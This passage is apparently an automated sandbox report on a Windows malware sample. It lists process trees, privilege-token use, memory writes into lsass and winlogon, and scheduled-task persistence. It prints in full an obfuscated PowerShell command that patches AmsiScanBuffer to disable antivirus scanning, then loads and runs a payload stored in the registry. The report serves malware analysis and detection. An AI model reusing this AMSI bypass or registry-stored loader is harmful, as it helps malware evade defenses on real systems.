4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
4344	powershell.EXE
4344	powershell.EXE
4344	powershell.EXE
4344	powershell.EXE
4500	dllhost.exe
4500	dllhost.exe
4500	dllhost.exe
4500	dllhost.exe
4500	dllhost.exe
4500	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe

pid process

3496 15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exe87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe94e0a7f9-2c14-4595-9ac1-213fc6448540.exe$77oui.exe$77non.exepowershell.EXEdllhost.exemousocoreworker.exeRuntimeBroker.exesvchost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
Token: SeDebugPrivilege	1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
Token: SeDebugPrivilege	5092	$77oui.exe
Token: SeDebugPrivilege	3180	$77non.exe
Token: SeDebugPrivilege	5092	$77oui.exe
Token: SeDebugPrivilege	3180	$77non.exe
Token: SeDebugPrivilege	4344	powershell.EXE
Token: SeDebugPrivilege	4344	powershell.EXE
Token: SeDebugPrivilege	4500	dllhost.exe
Token: SeShutdownPrivilege	2624	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	2624	mousocoreworker.exe
Token: SeShutdownPrivilege	3980	RuntimeBroker.exe
Token: SeShutdownPrivilege	2624	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	2624	mousocoreworker.exe
Token: SeShutdownPrivilege	3980	RuntimeBroker.exe
Token: SeShutdownPrivilege	2624	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	2624	mousocoreworker.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeUndockPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeUndockPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeAuditPrivilege	2568	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeUndockPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

Explorer.EXE

pid process

3452 Explorer.EXE
3452 Explorer.EXE

pid	process
3452	Explorer.EXE
3452	Explorer.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe

pid	process
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe94e0a7f9-2c14-4595-9ac1-213fc6448540.exe87bf4cc7-2d19-4f17-a861-69d4701bc2dd.execmd.execmd.execmd.execmd.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 3496 wrote to memory of 4476	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	powershell.exe
PID 3496 wrote to memory of 4476	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	powershell.exe
PID 3496 wrote to memory of 3640	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	powershell.exe
PID 3496 wrote to memory of 3640	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	powershell.exe
PID 3496 wrote to memory of 4156	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	powershell.exe
PID 3496 wrote to memory of 4156	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	powershell.exe
PID 3496 wrote to memory of 4500	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
PID 3496 wrote to memory of 4500	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
PID 3496 wrote to memory of 4500	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
PID 3496 wrote to memory of 1748	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
PID 3496 wrote to memory of 1748	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
PID 3496 wrote to memory of 1748	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
PID 1748 wrote to memory of 1364	1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe	cmd.exe
PID 1748 wrote to memory of 1364	1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe	cmd.exe
PID 1748 wrote to memory of 1364	1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe	cmd.exe
PID 4500 wrote to memory of 4200	4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe	cmd.exe
PID 4500 wrote to memory of 4200	4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe	cmd.exe
PID 4500 wrote to memory of 4200	4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe	cmd.exe
PID 1748 wrote to memory of 832	1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe	cmd.exe
PID 1748 wrote to memory of 832	1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe	cmd.exe
PID 1748 wrote to memory of 832	1748	94e0a7f9-2c14-4595-9ac1-213fc6448540.exe	cmd.exe
PID 4500 wrote to memory of 840	4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe	cmd.exe
PID 4500 wrote to memory of 840	4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe	cmd.exe
PID 4500 wrote to memory of 840	4500	87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe	cmd.exe
PID 840 wrote to memory of 2552	840	cmd.exe	timeout.exe
PID 840 wrote to memory of 2552	840	cmd.exe	timeout.exe
PID 840 wrote to memory of 2552	840	cmd.exe	timeout.exe
PID 832 wrote to memory of 4952	832	cmd.exe	timeout.exe
PID 832 wrote to memory of 4952	832	cmd.exe	timeout.exe
PID 832 wrote to memory of 4952	832	cmd.exe	timeout.exe
PID 1364 wrote to memory of 4788	1364	cmd.exe	schtasks.exe
PID 1364 wrote to memory of 4788	1364	cmd.exe	schtasks.exe
PID 1364 wrote to memory of 4788	1364	cmd.exe	schtasks.exe
PID 4200 wrote to memory of 232	4200	cmd.exe	schtasks.exe
PID 4200 wrote to memory of 232	4200	cmd.exe	schtasks.exe
PID 4200 wrote to memory of 232	4200	cmd.exe	schtasks.exe
PID 840 wrote to memory of 5092	840	cmd.exe	$77oui.exe
PID 840 wrote to memory of 5092	840	cmd.exe	$77oui.exe
PID 840 wrote to memory of 5092	840	cmd.exe	$77oui.exe
PID 832 wrote to memory of 3180	832	cmd.exe	$77non.exe
PID 832 wrote to memory of 3180	832	cmd.exe	$77non.exe
PID 832 wrote to memory of 3180	832	cmd.exe	$77non.exe
PID 3496 wrote to memory of 2524	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe
PID 3496 wrote to memory of 2524	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe
PID 3496 wrote to memory of 2524	3496	15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe	5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe
PID 4344 wrote to memory of 4500	4344	powershell.EXE	dllhost.exe
PID 4344 wrote to memory of 4500	4344	powershell.EXE	dllhost.exe
PID 4344 wrote to memory of 4500	4344	powershell.EXE	dllhost.exe
PID 4344 wrote to memory of 4500	4344	powershell.EXE	dllhost.exe
PID 4344 wrote to memory of 4500	4344	powershell.EXE	dllhost.exe
PID 4344 wrote to memory of 4500	4344	powershell.EXE	dllhost.exe
PID 4344 wrote to memory of 4500	4344	powershell.EXE	dllhost.exe
PID 4344 wrote to memory of 4500	4344	powershell.EXE	dllhost.exe
PID 4500 wrote to memory of 616	4500	dllhost.exe	winlogon.exe
PID 4500 wrote to memory of 668	4500	dllhost.exe	lsass.exe
PID 4500 wrote to memory of 956	4500	dllhost.exe	svchost.exe
PID 4500 wrote to memory of 332	4500	dllhost.exe	dwm.exe
PID 4500 wrote to memory of 512	4500	dllhost.exe	svchost.exe
PID 4500 wrote to memory of 1032	4500	dllhost.exe	svchost.exe
PID 4500 wrote to memory of 1052	4500	dllhost.exe	svchost.exe
PID 4500 wrote to memory of 1064	4500	dllhost.exe	svchost.exe
PID 4500 wrote to memory of 1188	4500	dllhost.exe	svchost.exe
PID 4500 wrote to memory of 1196	4500	dllhost.exe	svchost.exe
PID 4500 wrote to memory of 1272	4500	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:332

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{2ced2d4f-4a2b-44ef-884a-a800395ec298}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4500

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1196

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WWktrehEYULu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nSPadwAbnNTZvk,[Parameter(Position=1)][Type]$RCDZHfTHTa)$lzMWIlrxQyN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+'d'+'D'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+'y'+'Mo'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+'l'+''+[Char](101)+'gate'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s,'+'P'+''+'u'+''+[Char](98)+'l'+[Char](105)+'c,S'+'e'+''+[Char](97)+''+'l'+''+'e'+''+[Char](100)+',A'+[Char](110)+''+[Char](115)+'i'+'C'+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+''+'A'+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$lzMWIlrxQyN.DefineConstructor('RT'+'S'+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+'a'+''+'m'+''+[Char](101)+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$nSPadwAbnNTZvk).SetImplementationFlags(''+'R'+'un'+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$lzMWIlrxQyN.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+[Char](83)+''+'i'+''+[Char](103)+','+'N'+''+[Char](101)+''+'w'+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+'r'+'tu'+'a'+''+'l'+'',$RCDZHfTHTa,$nSPadwAbnNTZvk).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+'e'+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $lzMWIlrxQyN.CreateType();}$pebUcHAxWihcN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+'t'+''+'e'+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+'of'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+'3'+''+'2'+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+''+'e'+'Na'+[Char](116)+''+'i'+''+'v'+''+'e'+'M'+'e'+''+[Char](116)+''+'h'+''+'o'+''+'d'+''+'s'+'');$daEyuAXlVTOMhB=$pebUcHAxWihcN.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+'ocAd'+[Char](100)+''+'r'+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+'c'+','+'St'+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xFRvSnKLOvozWIbqSaT=WWktrehEYULu @([String])([IntPtr]);$EMOWkVQetfemRpNUiukSnt=WWktrehEYULu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TYMJeDkiJqB=$pebUcHAxWihcN.GetMethod('G'+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+'l'+'e'+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+'ne'+'l'+'32'+[Char](46)+''+'d'+'l'+'l'+'')));$yLfNtlcRxVbxOM=$daEyuAXlVTOMhB.Invoke($Null,@([Object]$TYMJeDkiJqB,[Object]('L'+[Char](111)+''+'a'+''+'d'+'L'+'i'+'b'+[Char](114)+'a'+'r'+''+[Char](121)+'A')));$cBuODVFOfVYRNtIiR=$daEyuAXlVTOMhB.Invoke($Null,@([Object]$TYMJeDkiJqB,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+'al'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+'e'+''+'c'+'t')));$ORHyqgn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yLfNtlcRxVbxOM,$xFRvSnKLOvozWIbqSaT).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+'i.'+[Char](100)+''+'l'+'l');$nDigeOfbFQtPnjdKu=$daEyuAXlVTOMhB.Invoke($Null,@([Object]$ORHyqgn,[Object](''+[Char](65)+'m'+'s'+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$nciTfMEEQS=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cBuODVFOfVYRNtIiR,$EMOWkVQetfemRpNUiukSnt).Invoke($nDigeOfbFQtPnjdKu,[uint32]8,4,[ref]$nciTfMEEQS);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$nDigeOfbFQtPnjdKu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cBuODVFOfVYRNtIiR,$EMOWkVQetfemRpNUiukSnt).Invoke($nDigeOfbFQtPnjdKu,[uint32]8,0x20,[ref]$nciTfMEEQS);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+[Char](84)+''+'W'+''+'A'+'R'+[Char](69)+'').GetValue(''+[Char](36)+'7'+'7'+''+'s'+'t'+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1456

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2000

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2568

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2644

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3196

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
PID:3452

C:\Users\Admin\AppData\Local\Temp\15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe
"C:\Users\Admin\AppData\Local\Temp\15c8cc6c27eab9e8c6e8e01883247ffc4a3907042d747859fff2ce622f9647dc.exe"
2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4156

C:\Users\Admin\AppData\Local\Temp\87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe
"C:\Users\Admin\AppData\Local\Temp\87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
